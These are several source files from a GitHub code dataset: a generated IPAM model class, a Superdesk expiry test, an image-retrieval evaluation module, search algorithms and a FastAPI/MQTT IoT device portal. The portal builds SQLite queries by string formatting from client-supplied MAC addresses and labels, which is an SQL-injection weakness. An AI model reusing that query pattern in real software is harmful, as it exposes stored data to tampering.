TypesJSONValue\n        \"\"\"\n        return self._tags\n\n    @tags.setter\n    def tags(self, tags):\n        \"\"\"Sets the tags of this IpamsvcFixedAddress.\n\n\n        :param tags: The tags of this IpamsvcFixedAddress.  # noqa: E501\n        :type: TypesJSONValue\n        \"\"\"\n\n        self._tags = tags\n\n    def to_dict(self):\n        \"\"\"Returns the model properties as a dict\"\"\"\n        result = {}\n\n        for attr, _ in six.iteritems(self.swagger_types):\n            value = getattr(self, attr)\n            if isinstance(value, list):\n                result[attr] = list(map(\n                    lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n                    value\n                ))\n            elif hasattr(value, \"to_dict\"):\n                result[attr] = value.to_dict()\n            elif isinstance(value, dict):\n                result[attr] = dict(map(\n                    lambda item: (item[0], item[1].to_dict())\n                    if hasattr(item[1], \"to_dict\") else item,\n                    value.items()\n                ))\n            else:\n                result[attr] = value\n        if issubclass(IpamsvcFixedAddress, dict):\n            for key, value in self.items():\n                result[key] = value\n\n        return result\n\n    def to_str(self):\n        \"\"\"Returns the string representation of the model\"\"\"\n        return pprint.pformat(self.to_dict())\n\n    def __repr__(self):\n        \"\"\"For `print` and `pprint`\"\"\"\n        return self.to_str()\n\n    def __eq__(self, other):\n        \"\"\"Returns true if both objects are equal\"\"\"\n        if not isinstance(other, IpamsvcFixedAddress):\n            return False\n\n        return self.__dict__ == other.__dict__\n\n    def __ne__(self, other):\n        \"\"\"Returns true if both objects are not equal\"\"\"\n        return not self == other\n", "repo_name": "uuand/ibcsp_ipamsvc", "sub_path": "ibcsp_ipamsvc/models/ipamsvc_fixed_address.py", "file_name": "ipamsvc_fixed_address.py", "file_ext": "py", "file_size_in_byte": 14191, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "six.iteritems", "line_number": 410, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 435, "usage_type": "call"}]}
{"seq_id": "25210905534", "text": "import logging\nfrom datetime import timedelta\n\nfrom superdesk.tests import TestCase\nfrom superdesk import get_resource_service\nfrom superdesk.utc import utcnow\n\nfrom ..commands.remove_expired_items import RemoveExpiredItems\n\nlogger = logging.getLogger(__name__)\n\nutc = utcnow()\nexpired = utc - timedelta(days=10)\nnot_expired = utc - timedelta(days=1)\nitems = [\n    {\"_id\": \"1\", \"_updated\": not_expired, \"type\": \"text\"},  # Single item, not expired\n    {\"_id\": \"2\", \"_updated\": expired, \"type\": \"text\"},  # Single item, expired\n    # Evolved from: parent expired, child not expired\n    {\"_id\": \"3\", \"_updated\": expired, \"type\": \"text\"},\n    {\"_id\": \"4\", \"_updated\": not_expired, \"type\": \"text\", \"evolvedfrom\": \"3\", \"ancestors\": [\"3\"]},\n    # Evolved from: parent expired, child expired\n    {\"_id\": \"5\", \"_updated\": expired, \"type\": \"text\"},\n    {\"_id\": \"6\", \"_updated\": expired, \"type\": \"text\", \"evolvedfrom\": \"5\", \"ancestors\": [\"5\"]},\n    # Multi-branch evolved from,\n    {\"_id\": \"7\", \"_updated\": expired, \"type\": \"text\"},\n    {\"_id\": \"8\", \"_updated\": expired, \"type\": \"text\", \"evolvedfrom\": \"7\", \"ancestors\": [\"7\"]},\n    {\"_id\": \"9\", \"_updated\": not_expired, \"type\": \"text\", \"evolvedfrom\": \"8\", \"ancestors\": [\"7\", \"8\"]},\n    # Multi-branch evolved from\n    {\"_id\": \"10\", \"_updated\": expired, \"type\": \"text\"},\n    {\"_id\": \"11\", \"_updated\": expired, \"type\": \"text\", \"evolvedfrom\": \"10\", \"ancestors\": [\"10\"]},\n    {\"_id\": \"12\", \"_updated\": expired, \"type\": \"text\", \"evolvedfrom\": \"11\", \"ancestors\": [\"10\", \"11\"]},\n]\n\ncan_expire = [\n    \"2\",  # Single item, expired\n    \"5\",\n    \"6\",  # Evolved from, parent expired, child expired\n    \"10\",\n    \"11\",\n    \"12\",  # Multi-branch evolved from\n]\n\n\nclass RemoveExpiredItemsTest(TestCase):\n    def setUp(self):\n        self.app.data.insert(\"items\", items)\n        self.command = RemoveExpiredItems()\n        self.command.expiry_days = 8\n        self.now = utcnow()\n\n    def _get_items(self):\n        return list(get_resource_service(\"items\").get_from_mongo(req=None, lookup=None))\n\n    def test_remove_expired_items(self):\n        self.command._remove_expired_items(self.now, self.command.expiry_days)\n        items = self._get_items()\n\n        self.assertEqual(len(items), 6)\n        for item in items:\n            self.assertNotIn(item[\"_id\"], can_expire)\n\n    def test_get_expired_chain(self):\n        items_service = get_resource_service(\"items\")\n        for item in self._get_items():\n            if self.command._get_expired_chain(items_service, item, self.now):\n                self.assertTrue(item[\"_id\"] in can_expire)\n            else:\n                self.assertFalse(item[\"_id\"] in can_expire)\n\n    def test_run(self):\n        self.command.run(self.command.expiry_days)\n        items = self._get_items()\n\n        self.assertEqual(len(items), 6)\n        for item in items:\n            self.assertNotIn(item[\"_id\"], can_expire)\n\n    def test_has_expired(self):\n        has_expired = self.command._has_expired(items[1], self.now)\n        self.assertTrue(has_expired)\n\n        has_expired = self.command._has_expired(items[0], self.now)\n        self.assertFalse(has_expired)\n\n    def test_get_children(self):\n        service = get_resource_service(\"items\")\n        children = self.command._get_children(service, items[0])\n        self.assertEqual(children, [])\n\n        children = [child[\"_id\"] for child in self.command._get_children(service, items[2])]\n        self.assertEqual(children, [\"4\"])\n\n        children = [child[\"_id\"] for child in self.command._get_children(service, items[9])]\n        self.assertEqual(children, [\"11\", \"12\"])\n", "repo_name": "superdesk/superdesk-core", "sub_path": "content_api/tests/command_remove_expired_items_test.py", "file_name": "command_remove_expired_items_test.py", "file_ext": "py", "file_size_in_byte": 3589, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "superdesk.utc.utcnow", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 14, "usage_type": "call"}, {"api_name": "superdesk.tests.TestCase", "line_number": 44, "usage_type": "name"}, {"api_name": "commands.remove_expired_items.RemoveExpiredItems", "line_number": 47, "usage_type": "call"}, {"api_name": "superdesk.utc.utcnow", "line_number": 49, "usage_type": "call"}, {"api_name": "superdesk.get_resource_service", "line_number": 52, "usage_type": "call"}, {"api_name": "superdesk.get_resource_service", "line_number": 63, "usage_type": "call"}, {"api_name": "superdesk.get_resource_service", "line_number": 86, "usage_type": "call"}]}
{"seq_id": "21880612820", "text": "from sklearn.neighbors import NearestNeighbors\nfrom tqdm import tqdm\nfrom time import time\nfrom nn.nn_utils import get_labels, extract_features, get_raw_features\nimport numpy as np\nimport pickle\nfrom exp_cifar.cifar_dataset import cifar10_loader\nfrom nn.nn_utils import load_model\n\n\nclass Database(object):\n    def __init__(self, database_vectors, targets, metric='cosine'):\n        self.nn = NearestNeighbors(n_neighbors=database_vectors.shape[0], algorithm='brute', metric=metric)\n        self.nn.fit(database_vectors)\n        self.targets = np.cast[np.int](targets)\n        bins = np.bincount(self.targets)\n        idx = np.nonzero(bins)[0]\n        self.instances_per_target = dict(zip(idx, bins[idx]))\n        self.number_of_instances = float(len(targets))\n        self.recall_levels = np.arange(0, 1.01, 0.1)\n        self.fine_recall_levels = np.arange(0, 1.01, 0.05)\n\n    def get_binary_relevances(self, queries, targets):\n        \"\"\"\n        Executes the queries and returns the binary relevance vectors (one vector for each query)\n        :param queries: the queries\n        :param targets: the label of each query\n        :return:\n        \"\"\"\n        distances, indices = self.nn.kneighbors(queries)\n        relevant_vectors = np.zeros_like(indices)\n        for i in range(targets.shape[0]):\n            relevant_vectors[i, :] = self.targets[indices[i, :]] == targets[i]\n        return relevant_vectors\n\n    def get_metrics(self, relevant_vectors, targets):\n        \"\"\"\n        Evaluates the retrieval performance\n        :param relevant_vectors: the relevant vectors for each query\n        :param targets: labels of the queries\n        :return:\n        \"\"\"\n        # Calculate precisions per query\n        precision = np.cumsum(relevant_vectors, axis=1) / np.arange(1, self.number_of_instances + 1)\n\n        # Calculate interpolated precision\n        for i in reversed(range(len(precision) - 1)):\n            precision[:, i] = np.maximum(precision[:, i], precision[:, i + 1])\n\n        # Calculate recall per query\n        instances_per_query = np.zeros((targets.shape[0], 1))\n        for i in range(targets.shape[0]):\n            instances_per_query[i] = self.instances_per_target[targets[i]]\n        recall = np.cumsum(relevant_vectors, axis=1) / instances_per_query\n\n        # Calculate precision @ 11 recall point\n        precision_at_recall_levels = np.zeros((targets.shape[0], self.recall_levels.shape[0]))\n        for i in range(len(self.recall_levels)):\n            idx = np.argmin(np.abs(recall - self.recall_levels[i]), axis=1)\n            precision_at_recall_levels[:, i] = precision[np.arange(targets.shape[0]), idx]\n\n        # Calculate fine-grained precision\n        precision_at_fine_recall_levels = np.zeros((targets.shape[0], self.fine_recall_levels.shape[0]))\n        for i in range(len(self.fine_recall_levels)):\n            idx = np.argmin(np.abs(recall - self.fine_recall_levels[i]), axis=1)\n            precision_at_fine_recall_levels[:, i] = precision[np.arange(targets.shape[0]), idx]\n\n        # Calculate the means values of the metrics\n        ap = np.mean(precision_at_recall_levels, axis=1)\n        m_ap = np.mean(ap)\n        interpolated_precision = np.mean(precision, axis=0)\n        interpolated_fine_precision = np.mean(precision_at_fine_recall_levels, axis=0)\n\n        return m_ap, interpolated_precision, interpolated_fine_precision, self.fine_recall_levels,\n\n    def evaluate(self, queries, targets, batch_size=128):\n        \"\"\"\n        Evaluates the performance of the database using the following metrics: interpolated map, interpolated precision,\n        and precision-recall curve\n        :param queries: the queries\n        :param targets: the labels\n        :return: the evaluated metrics\n        \"\"\"\n        n_batches = len(targets) // batch_size\n        m_ap, fine_precision, raw_precision = None, None, None\n\n        for i in tqdm(range(n_batches)):\n            cur_queries = queries[i * batch_size:(i + 1) * batch_size]\n            cur_targets = targets[i * batch_size:(i + 1) * batch_size]\n\n            relevant_vectors = self.get_binary_relevances(cur_queries, cur_targets)\n            (c_m_ap, c_raw_precision, c_fine_precision, self.fine_recall_levels,) = \\\n                self.get_metrics(relevant_vectors, cur_targets)\n\n            if m_ap is None:\n                m_ap = c_m_ap * batch_size\n                fine_precision = c_fine_precision * batch_size\n                raw_precision = c_raw_precision * batch_size\n            else:\n                m_ap += c_m_ap * batch_size\n                fine_precision += c_fine_precision * batch_size\n                raw_precision += c_raw_precision * batch_size\n\n        if batch_size * n_batches < len(targets):\n            cur_queries = queries[batch_size * n_batches:]\n            cur_targets = targets[batch_size * n_batches:]\n\n            relevant_vectors = self.get_binary_relevances(cur_queries, cur_targets)\n            (c_m_ap, c_raw_precision, c_fine_precision, self.fine_recall_levels,) = \\\n                self.get_metrics(relevant_vectors, cur_targets)\n\n            m_ap += c_m_ap * len(cur_targets)\n            fine_precision += c_fine_precision * len(cur_targets)\n            raw_precision += c_raw_precision * len(cur_targets)\n\n        m_ap = m_ap / float(len(targets))\n        fine_precision = fine_precision / float(len(targets))\n        raw_precision = raw_precision / float(len(targets))\n\n        results = {'map': m_ap, 'precision': fine_precision, 'recall_levels': self.fine_recall_levels,\n                   'raw_precision': raw_precision}\n\n        return results\n\n\ndef retrieval_evaluation(net, train_loader, test_loader, metric='cosine', raw=False):\n    \"\"\"\n    Evalutes a pytorch model using a retrieval setup\n    :param net:\n    :param train_loader:\n    :param test_loader:\n    :param metric:\n    :return:\n    \"\"\"\n\n    # Get the labels\n    train_labels = get_labels(train_loader)\n    test_labels = get_labels(test_loader)\n\n    # Get the features\n    a = time()\n    if raw:\n        train_features = get_raw_features(train_loader)\n        test_features = get_raw_features(test_loader)\n        ff_time = 0\n    else:\n        train_features = extract_features(net, train_loader)\n        ff_time = (time() - a) / float(len(train_labels))\n        test_features = extract_features(net, test_loader)\n\n    # Evaluate the model\n    database = Database(train_features, train_labels, metric=metric)\n    a = time()\n    results = database.evaluate(test_features, test_labels, batch_size=128)\n    retrieval_time = (time() - a) / float(len(test_labels))\n\n    results['retrieval_time'] = retrieval_time\n    results['ff_time'] = ff_time\n\n    return results\n\n\ndef evaluate_model_retrieval(path='', net=None, result_path='', dataset_name='cifar10', dataset_loader=cifar10_loader):\n    \"\"\"\n    Wrapper function for the evaluation that also saves the results into the appropriate output files\n    :param path:\n    :param net:\n    :param result_path:\n    :param dataset_name:\n    :param dataset_loader:\n    :return:\n    \"\"\"\n    # If a path is supplied load the model\n    if path != '':\n        net.cuda()\n        load_model(net, path)\n\n    _, test_loader, train_loader = dataset_loader(batch_size=128)\n    results = retrieval_evaluation(net, train_loader, test_loader)\n\n    results = {dataset_name: results}\n    with open(result_path, 'wb') as f:\n        pickle.dump(results, f, protocol=pickle.HIGHEST_PROTOCOL)\n", "repo_name": "passalis/probabilistic_kt", "sub_path": "nn/retrieval_evaluation.py", "file_name": "retrieval_evaluation.py", "file_ext": "py", "file_size_in_byte": 7419, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 40, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sklearn.neighbors.NearestNeighbors", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.cast", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.int", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.bincount", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.nonzero", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 72, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 87, "usage_type": "call"}, {"api_name": "nn.nn_utils.get_labels", "line_number": 137, "usage_type": "call"}, {"api_name": "nn.nn_utils.get_labels", "line_number": 138, "usage_type": "call"}, {"api_name": "time.time", "line_number": 141, "usage_type": "call"}, {"api_name": "nn.nn_utils.get_raw_features", "line_number": 143, "usage_type": "call"}, {"api_name": "nn.nn_utils.get_raw_features", "line_number": 144, "usage_type": "call"}, {"api_name": "nn.nn_utils.extract_features", "line_number": 147, "usage_type": "call"}, {"api_name": "time.time", "line_number": 148, "usage_type": "call"}, {"api_name": "nn.nn_utils.extract_features", "line_number": 149, "usage_type": "call"}, {"api_name": "time.time", "line_number": 153, "usage_type": "call"}, {"api_name": "time.time", "line_number": 155, "usage_type": "call"}, {"api_name": "exp_cifar.cifar_dataset.cifar10_loader", "line_number": 163, "usage_type": "name"}, {"api_name": "nn.nn_utils.load_model", "line_number": 176, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 183, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 183, "usage_type": "attribute"}]}
{"seq_id": "4911460581", "text": "from typing import Any, Sequence\n\n\ndef linear_search(array: Sequence[Any], key: Any) -> bool:\n    \"\"\"\n    Time complexity: O(n)\n    \"\"\"\n    for item in array:\n        if item == key:\n            return True\n    return False\n\n\ndef binary_search(array: Sequence[Any], key: Any) -> bool:\n    \"\"\"\n    It requires us to sort the array before passing it to the \n    binary_search function, and this will cost  O(n log n).\n    T(n) = T(n/2) + O(1), according to the Master theorem this costs\n    (logn).\n    Time complexity: O(log n)\n    \"\"\"\n    low: int = 0\n    high: int = len(array) - 1\n\n    while low <= high:\n        mid: int = (low + high) // 2\n        if array[mid] < key:\n            low = mid + 1\n        elif array[mid] > key:\n            high = mid - 1\n        else:\n            return True\n    return False\n", "repo_name": "GreatBahram/dsa", "sub_path": "algorithmic-toolbox/week04/search.py", "file_name": "search.py", "file_ext": "py", "file_size_in_byte": 812, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.Sequence", "line_number": 4, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 4, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 14, "usage_type": "name"}]}
{"seq_id": "31696059588", "text": "#!/usr/bin/python3\n\nimport json\nimport os\nimport sys\nimport sqlite3\nimport paho.mqtt.client as mqtt\nfrom fastapi import FastAPI, Request, WebSocket, WebSocketDisconnect\nfrom fastapi.responses import HTMLResponse, FileResponse\nfrom fastapi.staticfiles import StaticFiles\nfrom fastapi.templating import Jinja2Templates\nfrom typing import List\nfrom websocket import create_connection as ws_client_connection\nimport uvicorn\n\n\nMQTT_RX_TOPIC = \"device_status\"\nMQTT_SERVER_ADDR = \"localhost\"\nMQTT_SERVER_PORT = 1883\nDATABASE = ''\nLABELBASE = ''\nWEB_PORT = 8000\n\n\nclass MqttStatusReceiver:\n    def __init__(self, host=MQTT_SERVER_ADDR, port=MQTT_SERVER_PORT, topic=MQTT_RX_TOPIC):\n        self.host = host\n        self.port = port\n        self.topic = topic\n        self.rx_msg = None\n\n        self.client = mqtt.Client('IOT_Portal')\n        try:\n            self.client.connect(host, port=port)\n            self.client.on_connect = self.on_connect\n            self.client.on_message = self.on_message\n            self.client.loop_start()\n        except:\n            pass\n\n    def on_connect(self, client, userdata, flags, rc):\n        client.subscribe(self.topic)\n\n    def on_message(self, client, userdata, msg):\n        self.rx_msg = msg.payload.decode()\n        print(\"MSG:\", self.rx_msg)\n        if self.rx_msg is not None:\n            write_status_to_db(self.rx_msg)\n\n    def stop(self):\n        self.client.disconnect()\n        self.client.loop_stop()\n\n\nclass WsConnectionManager:\n    def __init__(self):\n        self.active_connections: List[WebSocket] = []\n\n    async def connect(self, websocket: WebSocket):\n        await websocket.accept()\n        self.active_connections.append(websocket)\n\n    def disconnect(self, websocket: WebSocket):\n        self.active_connections.remove(websocket)\n\n    async def send_text(self, message: str, websocket: WebSocket):\n        await websocket.send_text(message)\n\n    async def broadcast(self, message: str):\n        for connection in self.active_connections:\n            await connection.send_text(message)\n\n\ndef mqttSend(device_mac, message, host=MQTT_SERVER_ADDR, port=MQTT_SERVER_PORT):\n    client = mqtt.Client('Tx')\n    client.connect(host, port=port)\n    client.publish(device_mac, message)\n\n\ndef init_database():\n    global DATABASE\n    global LABELBASE\n\n    # Setup main database\n    db_dir = '/tmp/.iot-portal'\n    if not os.path.isdir(db_dir):\n        os.mkdir(db_dir)\n\n    DATABASE = os.path.join(db_dir, \"database.db\")\n    if os.path.exists(DATABASE):\n        os.remove(DATABASE)\n\n    # Create an empty database\n    db = sqlite3.connect(DATABASE)\n\n    # Create a status table\n    sql = \"create table status (id INTEGER PRIMARY KEY AUTOINCREMENT, mac TEXT, data TEXT)\"\n    db.execute(sql)\n    db.commit()\n\n    db.close()\n\n    # Setup label database\n    db_dir = os.path.join( os.path.expanduser('~'), '.iot-portal')\n    if not os.path.isdir(db_dir):\n        os.mkdir(db_dir)\n\n    LABELBASE = os.path.join(db_dir, \"database.db\")\n\n    if not os.path.exists(LABELBASE):\n        # Create an empty database\n        db = sqlite3.connect(LABELBASE)\n\n        # Create a label table\n        sql = \"create table label (id INTEGER PRIMARY KEY AUTOINCREMENT, mac TEXT, label TEXT)\"\n        db.execute(sql)\n        db.commit()\n\n        db.close()\n\n\ndef query_db(db, query, args=(), one=False):\n    cur = db.execute(query, args)\n    rv = [dict((cur.description[idx][0], value)\n               for idx, value in enumerate(row)) for row in cur.fetchall()]\n    return (rv[0] if rv else None) if one else rv\n\n\ndef write_status_to_db(msg):\n    try:\n        data = json.loads(msg)\n        data['label'] = get_device_label(data['mac'])\n        mac = data['mac']\n        data.pop('mac', None)       # Remove redundant mac info\n\n        db = sqlite3.connect(DATABASE)\n\n        # Get this device data if exists\n        sql = \"SELECT * FROM status WHERE mac='{}'\".format(mac)\n        result = query_db(db, sql, one=True)\n\n        if result is None:\n            sql = \"INSERT INTO status (mac, data) VALUES ('{}', '{}')\".format(mac, json.dumps(data))\n        else:\n            sql = \"UPDATE status SET data='{}' WHERE mac='{}'\".format(json.dumps(data), mac)\n\n        db.execute(sql)\n        db.commit()\n        db.close()\n\n        report_device_status_change(mac)\n\n    except Exception as exc:\n        exc_type, exc_obj, exc_tb = sys.exc_info()\n        print(\"ERROR writing status to db on line {}!\\n\\t{}\".format(exc_tb.tb_lineno, exc))\n\n\ndef get_devices_from_db(device_mac=None, id=None):\n\n    sql = \"SELECT * FROM status\"\n\n    get_one = False\n    if device_mac is not None:\n        sql += \" WHERE mac='{}'\".format(device_mac)\n        get_one = True\n    elif id is not None:\n        sql += \" WHERE id='{}'\".format(id)\n        get_one = True\n\n    db = sqlite3.connect(DATABASE)\n    result = query_db(db, sql, one=get_one)\n    db.close()\n\n    return result\n\n\ndef remove_device_from_db(device_mac=None, id=None):\n\n    sql = \"DELETE FROM status\"\n\n    if device_mac is not None:\n        sql += \" WHERE mac='{}'\".format(device_mac)\n    elif id is not None:\n        sql += \" WHERE id='{}'\".format(id)\n\n    db = sqlite3.connect(DATABASE)\n    db.execute(sql)\n    db.commit()\n    db.close()\n\n\ndef set_device_label(device_mac, label):\n    try:\n        db = sqlite3.connect(LABELBASE)\n\n        if len(label) == 0:\n            sql = \"DELETE FROM label WHERE mac='{}'\".format(device_mac)\n        else:\n            # Get this device data if exists\n            sql = \"SELECT * FROM label WHERE mac='{}'\".format(device_mac)\n            result = query_db(db, sql, one=True)\n\n            if result is None:\n                sql = \"INSERT INTO label (mac, label) VALUES ('{}', '{}')\".format(device_mac, label)\n            else:\n                sql = \"UPDATE label SET label='{}' WHERE mac='{}'\".format(label, device_mac)\n\n        db.execute(sql)\n        db.commit()\n        db.close()\n\n    except Exception as exc:\n        exc_type, exc_obj, exc_tb = sys.exc_info()\n        print(\"ERROR writing label to db on line {}!\\n\\t{}\".format(exc_tb.tb_lineno, exc))\n\n\ndef report_device_status_change(device_mac):\n    try:\n        device = get_devices_from_db(device_mac=device_mac)\n        msg = {'topic': \"notify_device_status\", 'id': device['id'], 'data': device}\n\n        ws = ws_client_connection(\"ws://localhost:{}/devices\".format(WEB_PORT))\n        ws.send(json.dumps(msg))\n        result = ws.recv()\n        ws.close()\n    except Exception as exc:\n        exc_type, exc_obj, exc_tb = sys.exc_info()\n        print(\"ERROR repporting status via WS on line {}!\\n\\t{}\".format(exc_tb.tb_lineno, exc))\n\n\ninit_database()\n# Declare and start the mqtt status receiver\nreceiver = MqttStatusReceiver()\n\napp = FastAPI()\napp.mount(\"/static\", StaticFiles(directory=\"static\"), name=\"static\")\ntemplates = Jinja2Templates(directory=\"templates\")\nws_manager = WsConnectionManager()\n\n\ndef get_device_label(device_mac):\n    result = device_mac\n\n    try:\n        if device_mac is not None:\n            sql = \"SELECT * FROM label WHERE mac='{}'\".format(device_mac)\n\n            db = sqlite3.connect(LABELBASE)\n            data = query_db(db, sql, one=True)\n            db.close()\n\n            if data is not None:\n                result = data.get('label', device_mac)\n\n    except Exception as exc:\n        exc_type, exc_obj, exc_tb = sys.exc_info()\n        print(\"ERROR reading label on line {}!\\n\\t{}\".format(exc_tb.tb_lineno, exc))\n\n    return result\n\n\n@app.get(\"/\", response_class=HTMLResponse)\ndef home(request: Request):\n    return templates.TemplateResponse(\"index.html\", {\"request\": request})\n\n\n@app.get('/favicon.ico')\nasync def favicon():\n    file_name = \"favicon.ico\"\n    file_path = os.path.join(app.root_path, \"static\", file_name)\n    return FileResponse(path=file_path, headers={\"Content-Disposition\": \"attachment; filename=\" + file_name})\n\n\n@app.websocket(\"/devices\")\nasync def websocket_server(websocket: WebSocket):\n    await ws_manager.connect(websocket)\n    try:\n        while True:\n            msg = await websocket.receive_text()\n            data = json.loads(msg)\n\n            if data['topic'] == \"device_list\":\n                devices = get_devices_from_db()\n\n                # Update labels\n                for i in range(0, len(devices)):\n                    data = json.loads(devices[i]['data'])\n                    data['label'] = get_device_label(devices[i]['mac'])\n                    devices[i]['data'] = json.dumps(data)\n\n                response = {'topic': 'device_list', 'data': devices}\n\n                await ws_manager.send_text(json.dumps(response), websocket)\n\n            elif data['topic'] == \"remove_device\":\n                id = data.get('id', None)\n                mac = data.get('mac', None)\n\n                if id is not None:\n                    device = get_devices_from_db(id=id)\n                elif mac is not None:\n                    device = get_devices_from_db(device_mac=mac)\n                else:\n                    device = None\n\n                remove_device_from_db(device_mac=device[\"mac\"])\n\n                devices = get_devices_from_db()\n\n                # Update labels\n                for i in range(0, len(devices)):\n                    data = json.loads(devices[i]['data'])\n                    data['label'] = get_device_label(devices[i]['mac'])\n                    devices[i]['data'] = json.dumps(data)\n\n                response = {'topic': 'device_list', 'data': devices}\n\n                await ws_manager.send_text(json.dumps(response), websocket)\n\n            elif data['topic'] == \"set_device\":\n                id = data.get('id', None)\n                mac = data.get('mac', None)\n                new_device_data = data.get('data', {})\n\n                if id is not None:\n                    device = get_devices_from_db(id=id)\n                elif mac is not None:\n                    device = get_devices_from_db(device_mac=mac)\n                else:\n                    device = None\n\n                if device is not None:\n                    device_db_data = json.loads(device['data'])\n\n                    for key in device_db_data.keys():\n                        if key in new_device_data:\n                            if key == 'label':\n                                if device_db_data[key] != new_device_data[key]:\n                                    set_device_label(device['mac'], new_device_data[key])\n\n                            device_db_data[key] = new_device_data[key]\n\n                    # device['data'] = json.dumps(device_db_data)\n                    # Send updated data to device. Device will report the change which will be propagated to the UI.\n                    mqttSend(device['mac'], str(new_device_data))\n\n            elif data['topic'] == \"notify_device_status\":\n                id = data.get('id', None)\n                device = get_devices_from_db(id=id)\n                response = {'topic': 'set_device', 'data': device}\n                await ws_manager.broadcast(json.dumps(response))\n\n    except WebSocketDisconnect:\n        ws_manager.disconnect(websocket)\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) > 1:\n        arg_port = sys.argv[1]\n        try:\n            new_port = int(arg_port)\n            if new_port > 79:\n                WEB_PORT = new_port\n        except Exception as e:\n            print(e)\n\n    uvicorn.run(app, host=\"0.0.0.0\", port=WEB_PORT)\n", "repo_name": "ohanacode-dev/OhanaCode-IOT", "sub_path": "iot-portal/iot-portal.py", "file_name": "iot-portal.py", "file_ext": "py", "file_size_in_byte": 11354, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "paho.mqtt.client.Client", "line_number": 32, "usage_type": "call"}, {"api_name": "paho.mqtt.client", "line_number": 32, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 57, "usage_type": "name"}, {"api_name": "fastapi.WebSocket", "line_number": 57, "usage_type": "name"}, {"api_name": "fastapi.WebSocket", "line_number": 59, "usage_type": "name"}, {"api_name": "websocket.accept", "line_number": 60, "usage_type": "call"}, {"api_name": "fastapi.WebSocket", "line_number": 63, "usage_type": "name"}, {"api_name": "fastapi.WebSocket", "line_number": 66, "usage_type": "name"}, {"api_name": "websocket.send_text", "line_number": 67, "usage_type": "call"}, {"api_name": "paho.mqtt.client.Client", "line_number": 75, "usage_type": "call"}, {"api_name": "paho.mqtt.client", "line_number": 75, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path", "line_number": 90, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 91, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path", "line_number": 105, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path", "line_number": 108, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 112, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 131, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 136, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 143, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 145, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 154, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 170, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 186, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 194, 